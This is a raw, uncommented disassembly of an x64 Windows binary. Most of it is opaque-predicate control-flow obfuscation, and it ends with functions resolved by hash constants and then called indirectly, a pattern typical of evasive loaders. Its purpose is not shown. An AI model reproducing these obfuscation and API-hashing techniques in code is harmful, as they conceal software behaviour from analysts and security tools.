inc eax
test eax, eax
jne 0x140056021
mov dword [rsp + 0x30], edx
jmp 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x25
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140055daf
mov eax, dword [rsp + 0x30]
mov edx, dword [rbp - 0x68]
add eax, 0x25
add edx, 0x25
add edx, ecx
xor eax, edx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jge 0x140056021
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
lea eax, [rax*2 - 0x25]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jl 0x140055d90
jmp 0x140056021
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x140055e34
mov ecx, dword [rbp - 0x68]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
sub ecx, eax
mov eax, dword [rsp + 0x30]
add ecx, eax
mov eax, 0x63e7063f
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x140055e16
mov eax, dword [rsp + 0x30]
imul edx, eax, 0x29
mov dword [rsp + 0x30], edx
jmp 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2b
cmp ecx, eax
je 0x140055eb4
mov eax, dword [rsp + 0x30]
mov ecx, dword [rbp - 0x68]
add eax, 0x2b
mov dword [rsp + 0x30], eax
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
mov eax, dword [rsp + 0x30]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x140056021
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
mov eax, dword [rsp + 0x30]
imul edx, ecx
add eax, edx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
test edx, edx
jne 0x140055e90
jmp 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
cmp ecx, eax
je 0x140055f2b
mov eax, dword [rsp + 0x30]
mov ecx, dword [rbp - 0x68]
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub ecx, eax
mov eax, dword [rsp + 0x30]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x140056021
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rsp + 0x30]
sub eax, 0x35
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
test edx, edx
jne 0x140055f10
jmp 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
cmp ecx, eax
je 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140055f8b
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
inc ecx
jmp 0x140055fb1
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
not r8d
add ecx, r8d
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
je 0x140056021
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
add ecx, ecx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
sub ecx, eax
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
jne 0x140055fe0
mov dword [rsp + 0x30], 0x7bf480
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140056085
add eax, 2
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jne 0x140056611
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14005607c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140056060
jmp 0x140056611
and eax, 0x80000001
mov eax, dword [rsp + 0x30]
je 0x1400560e8
add eax, 2
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140056611
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400560c0
jmp 0x140056611
and eax, 0x80000003
je 0x140056154
mov eax, dword [rsp + 0x30]
add eax, 2
lea eax, [rax + rax*2]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jne 0x140056611
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140056133
dec eax
jmp 0x140056135
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14005614b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140056110
jmp 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x1400561f7
add ecx, 0xb
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140056611
nop
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400561d3
inc eax
jmp 0x1400561d5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400561b0
jmp 0x140056611
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
cmp ecx, eax
je 0x140056250
mov eax, dword [rsp + 0x30]
xor eax, 1
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140056611
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
add ecx, ecx
or ecx, 3
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140056230
jmp 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
cmp ecx, eax
je 0x1400562ef
movd xmm0, dword [rsp + 0x30]
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [0x1400864b4]
cvttss2si eax, xmm0
mov dword [rsp + 0x30], eax
mov eax, 0x2aaaaaab
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
je 0x140056611
nop word [rax + rax]
movd xmm0, dword [rsp + 0x30]
mov ecx, 7
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvttss2si eax, xmm0
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
jne 0x1400562b0
jmp 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
cmp ecx, eax
je 0x140056348
mov eax, dword [rsp + 0x30]
mov ecx, 0xffffffff
mov r8d, dword [rsp + 0x30]
or r8d, 3
lea edx, [rcx + 6]
lea eax, [r8*4]
mov dword [rsp + 0x30], eax
nop dword [rax]
mov eax, dword [rsp + 0x30]
add eax, ecx
add ecx, r8d
mov dword [rsp + 0x30], eax
sub rdx, 1
jne 0x140056330
jmp 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1d
cmp ecx, eax
je 0x140056399
mov eax, dword [rsp + 0x30]
mov ecx, r15d
mov dword [rsp + 0x30], r15d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, eax
xor eax, ecx
add ecx, 0x1d
mov dword [rsp + 0x30], eax
cmp ecx, 0x57
jl 0x140056380
jmp 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x84210843
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x1400563eb
mov eax, dword [rsp + 0x30]
not eax
add eax, 0x1f
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400563da
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140056611
mov dword [rsp + 0x30], ecx
jmp 0x140056611
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x25
cmp ecx, eax
je 0x14005644f
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
add eax, 0x25
add ecx, 0x25
xor ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jge 0x140056611
nop dword [rax + rax]
mov eax, dword [rsp + 0x30]
lea eax, [rax*2 - 0x25]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jl 0x140056430
jmp 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x1400564bd
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x30], eax
mov eax, 0x63e7063f
mov ecx, dword [rsp + 0x30]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x14005649f
mov eax, dword [rsp + 0x30]
imul edx, eax, 0x29
mov dword [rsp + 0x30], edx
jmp 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2b
cmp ecx, eax
je 0x1400564ed
mov eax, dword [rsp + 0x30]
add eax, 0x2b
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
jmp 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
cmp ecx, eax
je 0x14005651c
mov eax, dword [rsp + 0x30]
dec eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
jmp 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
cmp ecx, eax
je 0x140056611
mov ecx, dword [rsp + 0x30]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14005657c
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
inc ecx
jmp 0x1400565a2
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
not r8d
add ecx, r8d
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
je 0x140056611
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
add ecx, ecx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
sub ecx, eax
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
jne 0x1400565d0
mov rbx, qword [rbp - 0x68]
test rbx, rbx
je 0x140056d2e
nop
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140008fd0
mov rdx, rax
xor ecx, ecx
call fcn.140059ef0
cmp qword [rbx + 0x18], 8
mov r8, rbx
jb 0x140056644
mov r8, qword [rbx]
mov dword [rsp + 0x30], 0x7bf480
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400566b5
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140056685
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140056d21
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400566ac
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140056690
jmp 0x140056d21
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140056718
mov ecx, 2
sub ecx, r8d
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140056d21
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400566f0
jmp 0x140056d21
mov ecx, dword [rsp + 0x30]
and eax, 0x80000003
je 0x140056794
add ecx, 2
lea eax, [r8 + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140056743
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140056d21
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140056773
dec eax
jmp 0x140056775
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14005678b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140056750
jmp 0x140056d21
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140056827
mov eax, dword [rsp + 0x30]
lea ecx, [r8 + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140056d21
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140056803
inc eax
jmp 0x140056805
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400567e0
jmp 0x140056d21
mov ecx, dword [rsp + 0x30]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
cmp ecx, eax
je 0x140056881
mov eax, dword [rsp + 0x30]
or r8d, 1
xor r8d, eax
mov dword [rsp + 0x30], r8d
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140056d21
mov ecx, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
add ecx, ecx
or ecx, 3
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140056861
jmp 0x140056d21
mov ecx, dword [rsp + 0x30]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
cmp ecx, eax
je 0x14005692f
movd xmm0, dword [rsp + 0x30]
mov eax, 0x55555556
imul r8d
cvtdq2ps xmm0, xmm0
mov eax, edx
shr eax, 0x1f
add edx, eax
mulss xmm0, xmm7
mov eax, 0x2aaaaaab
cvttss2si ecx, xmm0
sub edx, ecx
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
je 0x140056d21
nop dword [rax + rax]
movd xmm0, dword [rsp + 0x30]
mov ecx, 7
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvttss2si eax, xmm0
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
jne 0x1400568f0
jmp 0x140056d21
mov ecx, dword [rsp + 0x30]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140056997
mov edx, dword [rsp + 0x30]
imul ecx, r8d
or edx, 3
mov eax, ecx
and eax, 7
xor edx, eax
lea eax, [rdx*4]
xor eax, ecx
mov ecx, 0xffffffff
mov dword [rsp + 0x30], eax
lea r8d, [rcx + 6]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, ecx
add ecx, edx
mov dword [rsp + 0x30], eax
sub r8, 1
jne 0x140056980
jmp 0x140056d21
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1d
cmp ecx, eax
je 0x1400569f9
mov eax, 0x92492493
mov ecx, r15d
imul r8d
add edx, r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub r8d, eax
mov eax, dword [rsp + 0x30]
imul r8d, eax
mov dword [rsp + 0x30], r8d
nop dword [rax]
mov eax, dword [rsp + 0x30]
add eax, eax
xor eax, ecx
add ecx, 0x1d
mov dword [rsp + 0x30], eax
cmp ecx, 0x57
jl 0x1400569e0
jmp 0x140056d21
mov ecx, dword [rsp + 0x30]
mov eax, 0x84210843
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140056a4e
mov eax, dword [rsp + 0x30]
not eax
add eax, 0x1f
add eax, r8d
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140056a3d
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140056d21
mov dword [rsp + 0x30], ecx
jmp 0x140056d21
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x25
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140056aaf
mov eax, dword [rsp + 0x30]
add ecx, 0x25
add eax, 0x25
add ecx, r8d
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jge 0x140056d21
nop
mov eax, dword [rsp + 0x30]
lea eax, [rax*2 - 0x25]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jl 0x140056a90
jmp 0x140056d21
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x140056b35
mov eax, 0x63e7063f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
sub r8d, eax
mov eax, dword [rsp + 0x30]
add r8d, eax
mov eax, 0x63e7063f
mov dword [rsp + 0x30], r8d
mov ecx, dword [rsp + 0x30]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x140056b17
mov eax, dword [rsp + 0x30]
imul edx, eax, 0x29
mov dword [rsp + 0x30], edx
jmp 0x140056d21
mov ecx, dword [rsp + 0x30]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x140056d21
mov ecx, dword [rsp + 0x30]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2b
cmp ecx, eax
je 0x140056bb7
mov eax, dword [rsp + 0x30]
add eax, 0x2b
mov dword [rsp + 0x30], eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub r8d, eax
mov eax, dword [rsp + 0x30]
inc r8d
cdq
idiv r8d
test edx, edx
je 0x140056d21
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
cdq
idiv r8d
mov eax, dword [rsp + 0x30]
imul edx, r8d
add eax, edx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv r8d
test edx, edx
jne 0x140056b90
jmp 0x140056d21
mov ecx, dword [rsp + 0x30]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
cmp ecx, eax
je 0x140056c2c
mov eax, dword [rsp + 0x30]
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub r8d, eax
mov eax, dword [rsp + 0x30]
inc r8d
cdq
idiv r8d
test edx, edx
je 0x140056d21
nop dword [rax + rax]
mov eax, dword [rsp + 0x30]
sub eax, 0x35
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv r8d
test edx, edx
jne 0x140056c10
jmp 0x140056d21
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
cmp ecx, eax
je 0x140056d21
mov ecx, dword [rsp + 0x30]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140056c8c
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
inc ecx
jmp 0x140056cb2
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
not r8d
add ecx, r8d
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
je 0x140056d21
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
add ecx, ecx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
sub ecx, eax
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
jne 0x140056ce0
mov rbx, qword [rbx + 0x20]
test rbx, rbx
jne 0x140056620
mov eax, dword [0x14008cd88]
add eax, 0xfffffff6
test eax, 0xfffffffd
jne 0x140056d43
call fcn.140058930
cmp dword [0x140090c80], r15d
je 0x140056d53
xor ecx, ecx
call fcn.14005a070
cmp dword [0x140090c30], r15d
je 0x140056e42
cmp qword [0x140090c28], r15
mov rdi, r15
jbe 0x140056e05
mov ecx, 0x38
call fcn.14005b0b8
mov edx, 0xf
xor ecx, ecx
mov r8d, 0x4f2c3749
mov rbx, rax
mov qword [rax], r15
mov qword [rax + 0x10], r15
lea r9d, [rdx + 0x3d]
mov qword [rax + 0x18], 7
mov dword [rax + 0x20], 1
call fcn.140018170
lea rcx, [0x140090c38]
call rax
mov qword [rbx + 0x28], r15
lea rcx, [rbx + 0x28]
mov rax, qword [0x140090c68]
mov edx, 0xf
mov qword [rbx + 0x30], rax
mov r8d, 0x992c0884
mov rax, qword [0x140090c68]
lea r9d, [rdx + 0x3b]
mov qword [rax], rbx
mov qword [0x140090c68], rcx
xor ecx, ecx
call fcn.140018170
lea rcx, [0x140090c38]
call rax
inc rdi
cmp rdi, qword [0x140090c28]
jb 0x140056d70
mov rbx, qword [0x140090c20]
mov edx, 0xf
mov edi, dword [0x140090c28]
xor ecx, ecx
mov r8d, 0x78b61591
lea r9d, [rdx + 0x2b]
call fcn.140018170
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, rbx
mov ecx, edi
call rax
